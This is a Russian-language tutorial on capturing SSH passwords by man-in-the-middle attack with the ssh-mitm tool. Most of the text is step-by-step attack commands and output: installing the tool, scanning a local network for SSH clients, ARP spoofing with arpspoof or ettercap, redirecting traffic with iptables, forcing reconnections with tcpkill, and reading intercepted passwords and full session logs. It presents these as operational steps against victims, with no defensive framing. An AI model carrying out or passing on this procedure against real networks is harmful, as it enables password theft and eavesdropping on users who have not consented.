Статья Как перехватить пароль SSH. Атака человек-посередине на SSH

[tabac]

Как перехватить SSH пароль

Протокол SSH позволяет подключаться к другому компьютеру для выполнения на нём команд и передачи файлов. SSH использует надёжное шифрование, поэтому передаваемый сетевой трафик невозможно расшифровать или модифицировать.

В SSH для входа на удалённый компьютер можно использовать два способа:

• ввод пароля пользователя на удалённой системе
• аутентификация с помощью публичного ключа

Если вход выполняется по паролю, то можно представить следующий сценарий атаки:

• трафик пользователя перенаправляется на машину атакующего
• атакующий отслеживает попытки подключения к SSH серверу и перенаправляет их на свой SSH сервер
• SSH сервер атакующего настроен, во-первых, вести журнал всех введённых данных, в том числе пароля пользователя, а, во-вторых, передавать команды на легитимный SSH сервер, к которому хочет подключиться пользователь, для их выполнения, а затем возвращать результаты легитимному пользователю

Программа SSH MITM выполняет именно то, что описано выше.

Инструмент SSH MITM состоит из нескольких компонентов:

• модифицированный сервер SSH
• вспомогательные скрипты для выполнения сопутствующих действий: обнаружение SSH подключений, ARP спуфинг и сниффинг трафика, перенаправление портов.

При своей работе SSH MITM использует следующие инструменты (убедитесь, что они установлены в вашей системе):

• tshark (версия Wireshark с интерфейсом командной строки)
• ettercap (используется только для ARP спуфинга, поэтому вместо неё можно использовать arpspoof)
• nmap
• iptables

Для данной атаки в локальной сети перенаправить трафик можно двумя способами:

• ARP спуфинг. Во время этой атаки, компьютер атакующего рассылает ложные сообщения ARP пакета о том, что MAC адресом роутера является MAC адрес компьютера атакующего. В результате компьютеры в локальной сети начинают отправлять сетевые пакеты через компьютер атакующего. Это универсальный вариант, который подойдёт во всех случаях
• DNS спуфинг. Суть в подмене ответов на DNS запросы, в результате компьютер жертвы будет получать неправильные IP адреса для запрашиваемых хостов. Этот вариант подходит только если подключение к удалённому SSH серверу выполняется по имени хоста, например:

ssh root@w-e-b.site

DNS спуфинг можно выполнить во время атаки человек-посередине, либо с помощью мошеннического DNS сервера (в этом случае в роутере или на компьютере жертвы нужно будет установить IP адрес мошеннического DNS сервера.


Как установить SSH MITM

В качестве машины атакующего я буду использовать Kali Linux. Там уже имеются программы tshark, ettercap, arpspoof, nmap и iptables. Поэтому устанавливаем оставшиеся зависимости и SSH MITM следующим образом:

sudo apt install python3-netaddr python3-netifaces
git clone https://github.com/jtesta/ssh-mitm
cd ssh-mitm/
export LANG=en_US.utf-8
sudo ./install.sh

Обратите внимание на строку export LANG=en_US.utf-8 — если у вас система на английском языке, то эту строку можно пропустить. Она нужна поскольку будет скачен исходный код SSH и будет проверена его подлинность с помощью GPG. Но дело в том, что GPG выводит сообщения на языке системы, а проверка в установочном скрипте install.sh выполняется только для английского языка. В общем, если не выполнить эту команду, то установка не завершиться из-за того, что установочный скрипт будет всё время спотыкаться о проверку подписи.

Также ближе к концу установки программа напишет:

Kali Linux detected with no AppArmor installed.  For added safety, it is highly recommended (though not required) that sshd_mitm is run in a restricted environment.  Would you like to automatically enable AppArmor? (y/n) n

Я выбрал «n».

Поиск SSH подключений в локальной сети

В комплекте с программой имеется скрипт JoesAwesomeSSHMITMVictimFinder.py, он делает поиск целей в локальной сети очень простым. Он выполняет атаку ARP спуфинг блоков IP на короткое время и сниффит трафик в поисках SSH подключений. IP адреса атакуются не одновременно, а небольшими блоками — все блоки обрабатываются последовательно, когда скрипт доходит до последнего, то всё начинается сначала. Он сообщит о всех исходящих SSH подключениях от устройств в локальной сети.

Данный скрипт будет искать SSH подключения, выполненные только к стандартному, то есть 22-му порту. SSH подключения на нестандартный порт он не увидит.

Тем не менее есть способ обнаружить SSH соединение во время его подключения, поскольку в момент подключения происходит обмен довольно характерными данными (которые могут выдать SSH) в незашифрованном виде. Подробности об этом написаны в примерах по использованию tcpdump.

У JoesAwesomeSSHMITMVictimFinder.py есть ещё один недостаток — программа не может распознать подключения к SSH серверу по IPv6 адресу, например:

ssh root@2604:a880:800:c1::2ae:d001

Фильтры tshark могут работать с IPv6 трафиком, но фильтры скрипта не настроены на распознавание IPv6 адресов, поэтому в случае если подключение выполняется на стандартный 22 порт, но с использованием протокола IPv6, то скрипт будет выводить примерно следующее:

Strange tshark output found: [      49152,22]
    device block: [192.168.1.2,192.168.1.4,192.168.1.5]
Strange tshark output found: [      49152,22]
    device block: [192.168.1.2,192.168.1.4,192.168.1.5]
Strange tshark output found: [      22,49152]
    device block: [192.168.1.2,192.168.1.4,192.168.1.5]

Не выходя из JoesAwesomeSSHMITMVictimFinder.py можно запустить tcpdump:

sudo tcpdump dst port 22

Как видите, выполняется обмен данными с удалённым сервером на 22 порту.

Чтобы хосты и порты не преобразовывались имена, а выводились в их числовом значении добавим опцию -n:

sudo tcpdump -n dst port 22

Кстати, я ведь запустил ARP спуфинг только в отношении IP протокола, а IPv6 трафик тоже стал проходить через машину атакующего — надо будет изучить этот вопрос подробнее, а пока не будем на этом останавлииваться.

Поскольку JoesAwesomeSSHMITMVictimFinder.py очень удобен для запуска спуфинга и поиска самых частых вариантов SSH подключений, то можно запустить и его, но одновременно захватывать и анализировать трафик с помощью tcpdump или Wireshark.

sudo tcpdump -w ssh.cap

Анализ захваченных данных можно выполнять без остановки самого захвата сетевых пакетов.

Чтобы обнаружить SSH подключения, которые выполняются к стандартному порту, выполните команду:

tcpdump -r ssh.cap -n port 22

Для поиска подключений на нестандартном порте можно использовать примерно такую команду (ищется строка «@openssh.com»):

tcpdump -r ssh.cap -n -A | grep -E '@openssh.com'

Если будет что-то найдено, то для удобства можно продолжить в Wireshark используя следующий фильтр отображения

tcp contains openssh.com

Этот фильтр найдёт начало SSH сессии — а именно фреймы, в которых клиент и сервер обмениваются данными в виде простого текста.

По умолчанию JoesAwesomeSSHMITMVictimFinder.py будет выполнять ARP спуфинг и сниффить только по 5 IP адресов за раз в течение 20 секунд перед тем, как перейти к следующему блоку из 5 адресов. Эти параметры можно настроить исходя из следующего компромисса: чем больше IP спуфится (атакуется) за раз, тем выше шанс, что вы поймаете исходящее SSH соединение, но также повышается нагрузка и на ваш сетевой интерфейс, который у домашних компьютеров редка предназначен для такой интенсивной работы. Под слишком большой нагрузкой ваш интерфейс начнёт отбрасывать фреймы, что будет приводить к отказу-в-обслуживании (проблемам в работе сети) и сильно повысит подозрительность (а это плохо). Это значение по умолчанию в большинстве случаев не должно приводить к проблемам, хотя это приведёт к более долгому поиску целей. Для сетей с низкой нагрузкой размер блока можно безопасно увеличить.

Запуска скрипта для обнаружения целей (устройств, с которых выполнено SSH подключение):

sudo ./JoesAwesomeSSHMITMVictimFinder.py --interface eth0 --block-size 255

Мы запустили скрипт на интерфейсе eth0 и в качестве блока указали все 255 IP адресов локальной сети. У скрипта есть и другие опции, например, можно указать IP адреса для исключения.

Скрипт выведет:

Interactive menu keys:
  [a] toggle aggressive mode (spoofs all destination devices, not just
      gateway)
  [d] toggle debugging mode (highest verbosity)
  [v] toggle verbose mode (moderate verbosity)
  [p] print status
 
  [h] prints this menu
  [q] quits program gracefully

Перевод

Кнопки интерактивного меню:
  [a] включает агрессивный режим (спуфятся все устройства назначения,
      а не только шлюз)
  [d] включение режима отладки (самая большая подробность вывода)
  [v] включение вербального режима (средняя подробность вывода)
  [p] напечатать статус
 
  [h] напечатать меню
  [q] выйти из программы и аккуратно прекратить спуфинг

Если будут найдены SSH подключения, то программа напишет:

Local clients:
  * 192.168.1.4 -> 157.245.118.66:22

При выходе программа подытожит находки:

Total local clients:
  * 192.168.1.4 -> 157.245.118.66:22

В этой информации нас в первую очередь интересует адрес клиента (192.168.1.4), а не сервера. Именно в отношении этого клиента мы будет вновь выполнять атаку ARP спуфинга и пытаться перехватить SSH сессию.


Запуск атаки

После того, как вы завершили начальную установку и нашли список потенциальных жертв (смотрите выше), выполнить от root скрипт start.sh:

sudo ./start.sh

Этот скрипт запустит sshd_mitm, включит IP forwarding и настроит перехват SSH пакетов с помощью iptables.

Запустите ARP спуфинг цели(целей). Выполняйте атаку спуфинга с помощью arpspoof в отношении целевых IP:

sudo arpspoof -r -t 192.168.1.1 192.168.1.4

В качестве альтернативы вы можете использовать инструмент ettercap:

sudo ettercap -i eth0 -T -M arp /192.168.1.1// /192.168.1.3,192.168.1.4//

Нельзя перехватить уже установленное SSH подключение — можно перехватить только устанавливаемую во время атаки сессию. То есть нужно дождаться нового подключения от клиента. Если вы хотите поторопить события, то принудительно закрыть SSH подключение можно командой tcpkill:

sudo tcpkill -i ИНТЕРФЕЙС -9 port ПОРТ

Теперь возвращаемся на компьютер жертвы и пытаемся вновь зайти на сервер по SSH. Протокол SSH имеет встроенную защиту от реализуемого сценария атаки — он сохраняет некий отпечаток сервера и в случае, если отпечаток меняется, выдаёт следующее предупреждение:

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that a host key has just been changed.
The fingerprint for the ED25519 key sent by the remote host is
SHA256:F2wqyB2z8aVLQoOVCamt8ZAObP7zSys1SUZZvuu23QI.
Please contact your system administrator.
Add correct host key in /home/mial/.ssh/known_hosts to get rid of this message.
Offending ECDSA key in /home/mial/.ssh/known_hosts:9
ED25519 host key for 157.245.118.66 has changed and you have requested strict checking.
Host key verification failed.

В этом страшном предупреждении говориться, что возможно в отношении нас выполняется атака человек-посередине; а возможно, что ключ хоста просто поменялся — неизвестно, в общем. Факт в том, что автоматически подключение не будет произведено. Нужно открыть файл ~/.ssh/known_host и либо вписать новый отпечаток, либо удалить запись для этого сервера и затем добавить новый отпечаток при инициализации подключения:

The authenticity of host '157.245.118.66 (157.245.118.66)' can't be established.
ED25519 key fingerprint is SHA256:F2wqyB2z8aVLQoOVCamt8ZAObP7zSys1SUZZvuu23QI.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

В целом подключение и выполнение команд проходят как обычно, каких-то задержек или других странностей я не заметил:

Авторы программы говорят, что в случае удачной атаке пароль появится в файле auth.log:

sudo tail -f /var/log/auth.log

В случае успеха, файл /var/log/auth.log будет иметь следующие строки, в которых записан пароль:

Sep 11 19:28:14 showmeyourmoves sshd_mitm[16798]: INTERCEPTED PASSWORD: hostname: [10.199.30.x]; username: [jdog]; password: [supercalifragilistic] [preauth]

В файле /var/log/auth.log слишком много посторонних записей, поэтому я не нашёл что мне нужно — проще оказалось посмотреть в другом месте.

После установки сессии, полный лог ввода и вывода можно найти в /home/ssh-mitm/. SSH сессии записываются как shell_session_*.txt, а SFTP сессии записываются как sftp_session_*.html (с переданными файлами, сохраняющимися в соответствующей директории).

Каждая новая сессия будет иметь свой номер, самая первая сессия будет размещена в файле /home/ssh-mitm/shell_session_0.txt:

gedit /home/ssh-mitm/shell_session_0.txt

Пример результатов:

Обратите внимание — вверху записано имя пользователя и пароль.

Сама SSH сессия жертвы записывается тоже в полном объёме.

Решение проблем SSH MITM

Пользовательский ввод в захваченной сессии содержит дублирующие символы

Поскольку программа захватывает пользовательский ввод и вывод удалённого сервера, то введённые символы будут продублированы, поскольку удалённый сервер повторяет их, вывода на экран.

Специальные символы, такие как табуляция, могут быть нечитаемыми.

Если пользователь вводил пароли в программах, которые не показывают пароли, то такие строки будут захвачены нормально, без дублирующих символов, поскольку удалённый сервер не повторяет их.

Как перехватывать SSH подключение, если удалённый SSH сервер работает на нестандартном порту

Выше в статье показано, как выявлять SSH подключения на нестандартный порт. Но как быть, если такое подключение обнаружено?

Откройте файл start.sh и найдите там строку:

iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 2222

Вместо 22 вы можете вписать порт, на котором работает удалённый сервер SSH.

Невозможно завершить установку из-за неправильной подписи gpg ключа

При установке можно столкнуться со следующими сообщениями:

Importing OpenSSH release key...
 
gpg: key CE8ECB0386FF9C48: 1 подпись не проверена за отсутствием ключа
gpg: ключ CE8ECB0386FF9C48: "Damien Miller (Personal Key) <djm@mindrot.org>" не изменен
gpg: key A2B989F511B5748F: 3 подписи не проверены за отсутствием ключа
gpg: ключ A2B989F511B5748F: "Damien Miller <dmiller@vitnet.com.sg>" не изменен
gpg: ключ A819A2D8691EF8DA: "Damien Miller (Personal Key) <djm@mindrot.org>" не изменен
gpg: key D3E5F56B6D920D30: 6 подписей не проверено за отсутствием ключа
gpg: ключ D3E5F56B6D920D30: "Damien Miller <djm@mindrot.org>" не изменен
gpg: Всего обработано: 4
gpg:                   неизмененных: 4
 
OpenSSH release key matches expected value.
 
Error: OpenSSH signature invalid!
gpg: Подпись сделана Пн 20 мар 2017 12:53:10 MSK
gpg:                ключом RSA с идентификатором D3E5F56B6D920D30
gpg: Действительная подпись пользователя "Damien Miller <djm@mindrot.org>" [неизвестно]
gpg: Внимание: Данный ключ не заверен доверенной подписью!
gpg:           Нет указаний на то, что подпись принадлежит владельцу.
Отпечаток первичного ключа: 59C2 118E D206 D927 E667  EBE3 D3E5 F56B 6D92 0D30
 
Terminating.

На самом деле, подпись верна, но скрипт основывает свою проверку на фразе, которая показывается в системах с английской локалью. Поэтому хотя подпись и верна, скрипт не может это понять. О верности подписи говорят следующие строки:

Good signature from \"Damien Miller <djm@mindrot.org>\""
Действительная подпись пользователя "Damien Miller <djm@mindrot.org>"

Самым простым способом исправить эту ситуацию является временная смена локали на английскую, после чего можно запустить установочный скрипт:

export LANG=en_US.utf-8
sudo ./install.sh

Захват SFTP сессии
Сессии SFTP также успешно захватываются и сохраняются. Сохраняются даже переданные файлы.


Захват сессий при аутентификации по публичному ключу
Данная функция не реализована и вряд ли будет когда-либо реализована из-за надёжности аутентификации по публичному ключу в SSH.

(c) hackware.ru